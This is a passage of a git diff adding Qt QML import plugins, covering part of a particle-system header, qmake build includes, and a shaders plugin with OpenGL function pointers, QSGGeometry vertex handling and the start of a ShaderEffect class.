+ Q_PROPERTY(qreal xvariance READ xVariance WRITE setXVariance NOTIFY xvarianceChanged)
+ qreal xVariance() const { return _xvariance * 1000.0; }
+ void setXVariance(qreal var);
+
+ Q_PROPERTY(qreal yvariance READ yVariance WRITE setYVariance NOTIFY yvarianceChanged)
+ qreal yVariance() const { return _yvariance * 1000.0; }
+ void setYVariance(qreal var);
+
+ Q_PROPERTY(qreal pace READ pace WRITE setPace NOTIFY paceChanged)
+ qreal pace() const { return _pace * 1000.0; }
+ void setPace(qreal pace);
+
+Q_SIGNALS:
+ void xvarianceChanged();
+ void yvarianceChanged();
+ void paceChanged();
+
+private:
+ QDeclarativeParticles *particles;
+ qreal _xvariance;
+ qreal _yvariance;
+ qreal _pace;
+};
+
+class QDeclarativeParticlesPrivate;
+class QDeclarativeParticles : public QDeclarativeItem
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged)
+ Q_PROPERTY(int count READ count WRITE setCount NOTIFY countChanged)
+ Q_PROPERTY(int emissionRate READ emissionRate WRITE setEmissionRate NOTIFY emissionRateChanged)
+ Q_PROPERTY(qreal emissionVariance READ emissionVariance WRITE setEmissionVariance NOTIFY emissionVarianceChanged)
+ Q_PROPERTY(int lifeSpan READ lifeSpan WRITE setLifeSpan NOTIFY lifeSpanChanged)
+ Q_PROPERTY(int lifeSpanDeviation READ lifeSpanDeviation WRITE setLifeSpanDeviation NOTIFY lifeSpanDeviationChanged)
+ Q_PROPERTY(int fadeInDuration READ fadeInDuration WRITE setFadeInDuration NOTIFY fadeInDurationChanged)
+ Q_PROPERTY(int fadeOutDuration READ fadeOutDuration WRITE setFadeOutDuration NOTIFY fadeOutDurationChanged)
+ Q_PROPERTY(qreal angle READ angle WRITE setAngle NOTIFY angleChanged)
+ Q_PROPERTY(qreal angleDeviation READ angleDeviation WRITE setAngleDeviation NOTIFY angleDeviationChanged)
+ Q_PROPERTY(qreal velocity READ velocity WRITE setVelocity NOTIFY velocityChanged)
+ Q_PROPERTY(qreal velocityDeviation READ velocityDeviation WRITE setVelocityDeviation NOTIFY velocityDeviationChanged)
+ Q_PROPERTY(QDeclarativeParticleMotion *motion READ motion WRITE setMotion NOTIFY motionChanged)
+ Q_CLASSINFO("DefaultProperty", "motion")
+
+public:
+ QDeclarativeParticles(QDeclarativeItem *parent=0);
+ ~QDeclarativeParticles();
+
+ QUrl source() const;
+ void setSource(const QUrl &);
+
+ int count() const;
+ void setCount(int cnt);
+
+ int emissionRate() const;
+ void setEmissionRate(int);
+
+ qreal emissionVariance() const;
+ void setEmissionVariance(qreal);
+
+ int lifeSpan() const;
+ void setLifeSpan(int);
+
+ int lifeSpanDeviation() const;
+ void setLifeSpanDeviation(int);
+
+ int fadeInDuration() const;
+ void setFadeInDuration(int);
+
+ int fadeOutDuration() const;
+ void setFadeOutDuration(int);
+
+ qreal angle() const;
+ void setAngle(qreal);
+
+ qreal angleDeviation() const;
+ void setAngleDeviation(qreal);
+
+ qreal velocity() const;
+ void setVelocity(qreal);
+
+ qreal velocityDeviation() const;
+ void setVelocityDeviation(qreal);
+
+ QDeclarativeParticleMotion *motion() const;
+ void setMotion(QDeclarativeParticleMotion *);
+
+ void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *);
+
+public Q_SLOTS:
+ void burst(int count, int emissionRate=-1);
+
+protected:
+ virtual void componentComplete();
+
+Q_SIGNALS:
+ void sourceChanged();
+ void countChanged();
+ void emissionRateChanged();
+ void emissionVarianceChanged();
+ void lifeSpanChanged();
+ void lifeSpanDeviationChanged();
+ void fadeInDurationChanged();
+ void fadeOutDurationChanged();
+ void angleChanged();
+ void angleDeviationChanged();
+ void velocityChanged();
+ void velocityDeviationChanged();
+ void emittingChanged();
+ void motionChanged();
+
+private Q_SLOTS:
+ void imageLoaded();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeParticles)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeParticles)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeParticleMotion)
+QML_DECLARE_TYPE(QDeclarativeParticleMotionLinear)
+QML_DECLARE_TYPE(QDeclarativeParticleMotionGravity)
+QML_DECLARE_TYPE(QDeclarativeParticleMotionWander)
+QML_DECLARE_TYPE(QDeclarativeParticles)
+
+QT_END_HEADER
+
+#endif
diff --git a/src/imports/particles/qmldir b/src/imports/particles/qmldir
new file mode 100644
index 00000000..aeebd2c9
--- /dev/null
+++ b/src/imports/particles/qmldir
@@ -0,0 +1 @@
+plugin qmlparticlesplugin
diff --git a/src/imports/qimportbase.pri b/src/imports/qimportbase.pri
new file mode 100644
index 00000000..0f70030d
--- /dev/null
+++ b/src/imports/qimportbase.pri
@@ -0,0 +1,36 @@
+symbian:include(../plugins/qpluginbase.pri)
+TEMPLATE = lib
+CONFIG += qt plugin
+
+win32|mac:!wince*:!win32-msvc:!macx-xcode:CONFIG += debug_and_release
+
+isEmpty(TARGETPATH) {
+ error("qimportbase.pri: You must provide a TARGETPATH!")
+}
+isEmpty(TARGET) {
+ error("qimportbase.pri: You must provide a TARGET!")
+}
+
+QMLDIRFILE = $${_PRO_FILE_PWD_}/qmldir
+copy2build.input = QMLDIRFILE
+copy2build.output = $$QT_BUILD_TREE/imports/$$TARGETPATH/qmldir
+!contains(TEMPLATE_PREFIX, vc):copy2build.variable_out = PRE_TARGETDEPS
+copy2build.commands = $$QMAKE_COPY ${QMAKE_FILE_IN} ${QMAKE_FILE_OUT}
+copy2build.name = COPY ${QMAKE_FILE_IN}
+copy2build.CONFIG += no_link
+# `clean' should leave the build in a runnable state, which means it shouldn't delete qmldir
+copy2build.CONFIG += no_clean
+QMAKE_EXTRA_COMPILERS += copy2build
+
+TARGET = $$qtLibraryTarget($$TARGET)
+contains(QT_CONFIG, reduce_exports):CONFIG += hide_symbols
+
+include(../qt_targets.pri)
+
+wince*:LIBS += $$QMAKE_LIBS_GUI
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+ TARGET.CAPABILITY = All -Tcb
+ load(armcc_warnings)
+}
diff --git a/src/imports/shaders/glfunctions.h b/src/imports/shaders/glfunctions.h
new file mode 100644
index 00000000..214143a5
--- /dev/null
+++ b/src/imports/shaders/glfunctions.h
@@ -0,0 +1,75 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef GLFUNCTIONS_H
+#define GLFUNCTIONS_H
+
+#ifndef QT_OPENGL_ES
+
+#ifndef Q_WS_MAC
+# ifndef APIENTRYP
+# ifdef APIENTRY
+# define APIENTRYP APIENTRY *
+# else
+# define APIENTRY
+# define APIENTRYP *
+# endif
+# endif
+#else
+# define APIENTRY
+# define APIENTRYP *
+#endif
+
+#define GL_TEXTURE0 0x84C0
+#define GL_CLAMP_TO_EDGE 0x812F
+#define GL_BGRA 0x80E1
+
+typedef void (APIENTRYP type_glActiveTexture)(GLenum texture);
+typedef void (APIENTRYP type_glGenerateMipmap)(GLenum target);
+typedef void (APIENTRYP type_glVertexAttribPointer)(GLuint, GLint, GLenum, GLboolean, GLsizei, const GLvoid *);
+
+#define glActiveTexture ((type_glActiveTexture)QGLContext::currentContext()->getProcAddress(QLatin1String("glActiveTexture")))
+#define glGenerateMipmap ((type_glGenerateMipmap)QGLContext::currentContext()->getProcAddress(QLatin1String("glGenerateMipmap")))
+#define glVertexAttribPointer ((type_glVertexAttribPointer)QGLContext::currentContext()->getProcAddress(QLatin1String("glVertexAttribPointer")))
+
+#endif
+
+#endif // GLFUNCTIONS_H
diff --git a/src/imports/shaders/qmldir b/src/imports/shaders/qmldir
new file mode 100644
index 00000000..b2a9de21
--- /dev/null
+++ b/src/imports/shaders/qmldir
@@ -0,0 +1,2 @@
+plugin qmlshadersplugin
+
diff --git a/src/imports/shaders/qmlshadersplugin_plugin.cpp b/src/imports/shaders/qmlshadersplugin_plugin.cpp
new file mode 100644
index 00000000..613e1834
--- /dev/null
+++ b/src/imports/shaders/qmlshadersplugin_plugin.cpp
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlshadersplugin_plugin.h"
+#include "shadereffectitem.h"
+#include "shadereffectsource.h"
+
+#include <QtDeclarative/qdeclarative.h>
+
+void qmlshaderspluginPlugin::registerTypes(const char *uri)
+{
+ qmlRegisterType<ShaderEffectItem>(uri, 1, 0, "ShaderEffectItem");
+ qmlRegisterType<ShaderEffectSource>(uri, 1, 0, "ShaderEffectSource");
+}
+
+Q_EXPORT_PLUGIN2(qmlshadersplugin, qmlshaderspluginPlugin)
+
diff --git a/src/imports/shaders/qmlshadersplugin_plugin.h b/src/imports/shaders/qmlshadersplugin_plugin.h
new file mode 100644
index 00000000..d1f7746c
--- /dev/null
+++ b/src/imports/shaders/qmlshadersplugin_plugin.h
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QMLSHADERSPLUGIN_PLUGIN_H
+#define QMLSHADERSPLUGIN_PLUGIN_H
+
+#include <QtDeclarative/QDeclarativeExtensionPlugin>
+
+class qmlshaderspluginPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+
+public:
+ void registerTypes(const char *uri);
+};
+
+#endif // QMLSHADERSPLUGIN_PLUGIN_H
+
diff --git a/src/imports/shaders/scenegraph/qsggeometry.cpp b/src/imports/shaders/scenegraph/qsggeometry.cpp
new file mode 100644
index 00000000..371b6e88
--- /dev/null
+++ b/src/imports/shaders/scenegraph/qsggeometry.cpp
@@ -0,0 +1,194 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qsggeometry.h"
+
+QT_BEGIN_NAMESPACE
+
+
+const QSGGeometry::AttributeSet &QSGGeometry::defaultAttributes_Point2D()
+{
+ static Attribute data[] = {
+ { 0, 2, GL_FLOAT }
+ };
+ static AttributeSet attrs = { 1, sizeof(float) * 2, data };
+ return attrs;
+}
+
+
+const QSGGeometry::AttributeSet &QSGGeometry::defaultAttributes_TexturedPoint2D()
+{
+ static Attribute data[] = {
+ { 0, 2, GL_FLOAT },
+ { 1, 2, GL_FLOAT }
+ };
+ static AttributeSet attrs = { 2, sizeof(float) * 4, data };
+ return attrs;
+}
+
+
+const QSGGeometry::AttributeSet &QSGGeometry::defaultAttributes_ColoredPoint2D()
+{
+ static Attribute data[] = {
+ { 0, 2, GL_FLOAT },
+ { 1, 4, GL_UNSIGNED_BYTE }
+ };
+ static AttributeSet attrs = { 2, 2 * sizeof(float) + 4 * sizeof(char), data };
+ return attrs;
+}
+
+
+
+QSGGeometry::QSGGeometry(const QSGGeometry::AttributeSet &attributes,
+ int vertexCount,
+ int indexCount,
+ int indexType)
+ : m_drawing_mode(GL_TRIANGLE_STRIP)
+ , m_vertex_count(0)
+ , m_index_count(0)
+ , m_index_type(indexType)
+ , m_attributes(attributes)
+ , m_data(0)
+ , m_index_data_offset(-1)
+ , m_owns_data(false)
+{
+ Q_ASSERT(m_attributes.count > 0);
+ Q_ASSERT(m_attributes.stride > 0);
+
+ // Because allocate reads m_vertex_count, m_index_count and m_owns_data, these
+ // need to be set before calling allocate...
+ allocate(vertexCount, indexCount);
+}
+
+QSGGeometry::~QSGGeometry()
+{
+ if (m_owns_data)
+ qFree(m_data);
+}
+
+void *QSGGeometry::indexData()
+{
+ return m_index_data_offset < 0
+ ? 0
+ : ((char *) m_data + m_index_data_offset);
+}
+
+const void *QSGGeometry::indexData() const
+{
+ return m_index_data_offset < 0
+ ? 0
+ : ((char *) m_data + m_index_data_offset);
+}
+
+void QSGGeometry::setDrawingMode(GLenum mode)
+{
+ m_drawing_mode = mode;
+}
+
+void QSGGeometry::allocate(int vertexCount, int indexCount)
+{
+ if (vertexCount == m_vertex_count && indexCount == m_index_count)
+ return;
+
+ m_vertex_count = vertexCount;
+ m_index_count = indexCount;
+
+ bool canUsePrealloc = m_index_count <= 0;
+ int vertexByteSize = m_attributes.stride * m_vertex_count;
+
+ if (m_owns_data)
+ qFree(m_data);
+
+ if (canUsePrealloc && vertexByteSize <= (int) sizeof(m_prealloc)) {
+ m_data = (void *) &m_prealloc[0];
+ m_index_data_offset = -1;
+ m_owns_data = false;
+ } else {
+ Q_ASSERT(m_index_type == GL_UNSIGNED_INT || m_index_type == GL_UNSIGNED_SHORT);
+ int indexByteSize = indexCount * (m_index_type == GL_UNSIGNED_SHORT ? sizeof(quint16) : sizeof(quint32));
+ m_data = (void *) qMalloc(vertexByteSize + indexByteSize);
+ m_index_data_offset = vertexByteSize;
+ m_owns_data = true;
+ }
+
+}
+
+void QSGGeometry::updateRectGeometry(QSGGeometry *g, const QRectF &rect)
+{
+ Point2D *v = g->vertexDataAsPoint2D();
+ v[0].x = rect.left();
+ v[0].y = rect.top();
+
+ v[1].x = rect.right();
+ v[1].y = rect.top();
+
+ v[2].x = rect.left();
+ v[2].y = rect.bottom();
+
+ v[3].x = rect.right();
+ v[3].y = rect.bottom();
+}
+
+void QSGGeometry::updateTexturedRectGeometry(QSGGeometry *g, const QRectF &rect, const QRectF &textureRect)
+{
+ TexturedPoint2D *v = g->vertexDataAsTexturedPoint2D();
+ v[0].x = rect.left();
+ v[0].y = rect.top();
+ v[0].tx = textureRect.left();
+ v[0].ty = textureRect.top();
+
+ v[1].x = rect.right();
+ v[1].y = rect.top();
+ v[1].tx = textureRect.right();
+ v[1].ty = textureRect.top();
+
+ v[2].x = rect.left();
+ v[2].y = rect.bottom();
+ v[2].tx = textureRect.left();
+ v[2].ty = textureRect.bottom();
+
+ v[3].x = rect.right();
+ v[3].y = rect.bottom();
+ v[3].tx = textureRect.right();
+ v[3].ty = textureRect.bottom();
+}
+
+QT_END_NAMESPACE
diff --git a/src/imports/shaders/scenegraph/qsggeometry.h b/src/imports/shaders/scenegraph/qsggeometry.h
new file mode 100644
index 00000000..9596898b
--- /dev/null
+++ b/src/imports/shaders/scenegraph/qsggeometry.h
@@ -0,0 +1,234 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QSGGEOMETRY_H
+#define QSGGEOMETRY_H
+
+#include <QtOpenGL/qgl.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+class QSGGeometry
+{
+public:
+ struct Attribute
+ {
+ int position;
+ int tupleSize;
+ int type;
+ };
+
+ struct AttributeSet {
+ int count;
+ int stride;
+ const Attribute *attributes;
+ };
+
+ struct Point2D { float x, y; };
+ struct TexturedPoint2D { float x, y; float tx, ty; };
+ struct ColoredPoint2D { float x, y; unsigned char r, g, b, a; };
+
+ static const AttributeSet &defaultAttributes_Point2D();
+ static const AttributeSet &defaultAttributes_TexturedPoint2D();
+ static const AttributeSet &defaultAttributes_ColoredPoint2D();
+
+ QSGGeometry(const QSGGeometry::AttributeSet &attribs,
+ int vertexCount,
+ int indexCount = 0,
+ int indexType = GL_UNSIGNED_SHORT);
+ ~QSGGeometry();
+
+ void setDrawingMode(GLenum mode);
+ inline GLenum drawingMode() const { return m_drawing_mode; }
+
+ void allocate(int vertexCount, int indexCount = 0);
+
+ int vertexCount() const { return m_vertex_count; }
+
+ void *vertexData() { return m_data; }
+ inline Point2D *vertexDataAsPoint2D();
+ inline TexturedPoint2D *vertexDataAsTexturedPoint2D();
+ inline ColoredPoint2D *vertexDataAsColoredPoint2D();
+
+ inline const void *vertexData() const { return m_data; }
+ inline const Point2D *vertexDataAsPoint2D() const;
+ inline const TexturedPoint2D *vertexDataAsTexturedPoint2D() const;
+ inline const ColoredPoint2D *vertexDataAsColoredPoint2D() const;
+
+ inline int indexType() const { return m_index_type; }
+
+ int indexCount() const { return m_index_count; }
+
+ void *indexData();
+ inline uint *indexDataAsUInt();
+ inline quint16 *indexDataAsUShort();
+
+ const void *indexData() const;
+ inline const uint *indexDataAsUInt() const;
+ inline const quint16 *indexDataAsUShort() const;
+
+ inline int attributeCount() const { return m_attributes.count; }
+ inline const Attribute *attributes() const { return m_attributes.attributes; }
+ inline int stride() const { return m_attributes.stride; }
+
+ static void updateRectGeometry(QSGGeometry *g, const QRectF &rect);
+ static void updateTexturedRectGeometry(QSGGeometry *g, const QRectF &rect, const QRectF &sourceRect);
+
+private:
+ int m_drawing_mode;
+ int m_vertex_count;
+ int m_index_count;
+ int m_index_type;
+ const AttributeSet &m_attributes;
+ void *m_data;
+ int m_index_data_offset;
+
+ void *m_reserved_pointer;
+
+ uint m_owns_data : 1;
+ uint m_reserved_bits : 31;
+
+ float m_prealloc[16];
+};
+
+inline uint *QSGGeometry::indexDataAsUInt()
+{
+ Q_ASSERT(m_index_type == GL_UNSIGNED_INT);
+ return (uint *) indexData();
+}
+
+inline quint16 *QSGGeometry::indexDataAsUShort()
+{
+ Q_ASSERT(m_index_type == GL_UNSIGNED_SHORT);
+ return (quint16 *) indexData();
+}
+
+inline const uint *QSGGeometry::indexDataAsUInt() const
+{
+ Q_ASSERT(m_index_type == GL_UNSIGNED_INT);
+ return (uint *) indexData();
+}
+
+inline const quint16 *QSGGeometry::indexDataAsUShort() const
+{
+ Q_ASSERT(m_index_type == GL_UNSIGNED_SHORT);
+ return (quint16 *) indexData();
+}
+
+inline QSGGeometry::Point2D *QSGGeometry::vertexDataAsPoint2D()
+{
+ Q_ASSERT(m_attributes.count == 1);
+ Q_ASSERT(m_attributes.stride == 2 * sizeof(float));
+ Q_ASSERT(m_attributes.attributes[0].tupleSize == 2);
+ Q_ASSERT(m_attributes.attributes[0].type == GL_FLOAT);
+ Q_ASSERT(m_attributes.attributes[0].position == 0);
+ return (Point2D *) m_data;
+}
+
+inline QSGGeometry::TexturedPoint2D *QSGGeometry::vertexDataAsTexturedPoint2D()
+{
+ Q_ASSERT(m_attributes.count == 2);
+ Q_ASSERT(m_attributes.stride == 4 * sizeof(float));
+ Q_ASSERT(m_attributes.attributes[0].position == 0);
+ Q_ASSERT(m_attributes.attributes[0].tupleSize == 2);
+ Q_ASSERT(m_attributes.attributes[0].type == GL_FLOAT);
+ Q_ASSERT(m_attributes.attributes[1].position == 1);
+ Q_ASSERT(m_attributes.attributes[1].tupleSize == 2);
+ Q_ASSERT(m_attributes.attributes[1].type == GL_FLOAT);
+ return (TexturedPoint2D *) m_data;
+}
+
+inline QSGGeometry::ColoredPoint2D *QSGGeometry::vertexDataAsColoredPoint2D()
+{
+ Q_ASSERT(m_attributes.count == 2);
+ Q_ASSERT(m_attributes.stride == 2 * sizeof(float) + 4 * sizeof(char));
+ Q_ASSERT(m_attributes.attributes[0].position == 0);
+ Q_ASSERT(m_attributes.attributes[0].tupleSize == 2);
+ Q_ASSERT(m_attributes.attributes[0].type == GL_FLOAT);
+ Q_ASSERT(m_attributes.attributes[1].position == 1);
+ Q_ASSERT(m_attributes.attributes[1].tupleSize == 4);
+ Q_ASSERT(m_attributes.attributes[1].type == GL_UNSIGNED_BYTE);
+ return (ColoredPoint2D *) m_data;
+}
+
+inline const QSGGeometry::Point2D *QSGGeometry::vertexDataAsPoint2D() const
+{
+ Q_ASSERT(m_attributes.count == 1);
+ Q_ASSERT(m_attributes.stride == 2 * sizeof(float));
+ Q_ASSERT(m_attributes.attributes[0].tupleSize == 2);
+ Q_ASSERT(m_attributes.attributes[0].type == GL_FLOAT);
+ Q_ASSERT(m_attributes.attributes[0].position == 0);
+ return (const Point2D *) m_data;
+}
+
+inline const QSGGeometry::TexturedPoint2D *QSGGeometry::vertexDataAsTexturedPoint2D() const
+{
+ Q_ASSERT(m_attributes.count == 2);
+ Q_ASSERT(m_attributes.stride == 4 * sizeof(float));
+ Q_ASSERT(m_attributes.attributes[0].position == 0);
+ Q_ASSERT(m_attributes.attributes[0].tupleSize == 2);
+ Q_ASSERT(m_attributes.attributes[0].type == GL_FLOAT);
+ Q_ASSERT(m_attributes.attributes[1].position == 1);
+ Q_ASSERT(m_attributes.attributes[1].tupleSize == 2);
+ Q_ASSERT(m_attributes.attributes[1].type == GL_FLOAT);
+ return (const TexturedPoint2D *) m_data;
+}
+
+inline const QSGGeometry::ColoredPoint2D *QSGGeometry::vertexDataAsColoredPoint2D() const
+{
+ Q_ASSERT(m_attributes.count == 2);
+ Q_ASSERT(m_attributes.stride == 2 * sizeof(float) + 4 * sizeof(char));
+ Q_ASSERT(m_attributes.attributes[0].position == 0);
+ Q_ASSERT(m_attributes.attributes[0].tupleSize == 2);
+ Q_ASSERT(m_attributes.attributes[0].type == GL_FLOAT);
+ Q_ASSERT(m_attributes.attributes[1].position == 1);
+ Q_ASSERT(m_attributes.attributes[1].tupleSize == 4);
+ Q_ASSERT(m_attributes.attributes[1].type == GL_UNSIGNED_BYTE);
+ return (const ColoredPoint2D *) m_data;
+}
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QSGGEOMETRY_H
diff --git a/src/imports/shaders/shadereffect.cpp b/src/imports/shaders/shadereffect.cpp
new file mode 100644
index 00000000..97649eb6
--- /dev/null
+++ b/src/imports/shaders/shadereffect.cpp
@@ -0,0 +1,196 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "shadereffect.h"
+#include "shadereffectbuffer.h"
+#include "shadereffectsource.h"
+
+#include <QDeclarativeItem>
+#include <QPainter>
+#include <QtOpenGL>
+
+static QTransform savedWorldTransform;
+
+ShaderEffect::ShaderEffect(QObject *parent)
+ : QGraphicsEffect(parent)
+ , m_changed(true)
+{
+}
+
+ShaderEffect::~ShaderEffect()
+{
+}
+
+void ShaderEffect::prepareBufferedDraw(QPainter *painter)
+{
+#ifndef QT_NO_DYNAMIC_CAST
+ // This workaround needed because QGraphicsEffect seems to always utilize default painters worldtransform
+ // instead of the active painters worldtransform.
+ const ShaderEffectBuffer *effectBuffer = dynamic_cast<ShaderEffectBuffer*> (painter->device());
+ if (effectBuffer) {
+ savedWorldTransform = painter->worldTransform() * savedWorldTransform;
+ painter->setWorldTransform(savedWorldTransform);
+ } else {
+ savedWorldTransform = painter->worldTransform();
+ }
+#else
+ Q_UNUSED(painter);
+#endif
+}
+
+void ShaderEffect::draw (QPainter *painter)
+{
+ const QGLContext *context = QGLContext::currentContext();
+
+ prepareBufferedDraw(painter);
+
+ if (context) {
+ updateRenderTargets();
+ }
+
+ if (!context || m_renderTargets.count() == 0 || !hideOriginal())
+ drawSource(painter);
+}
+
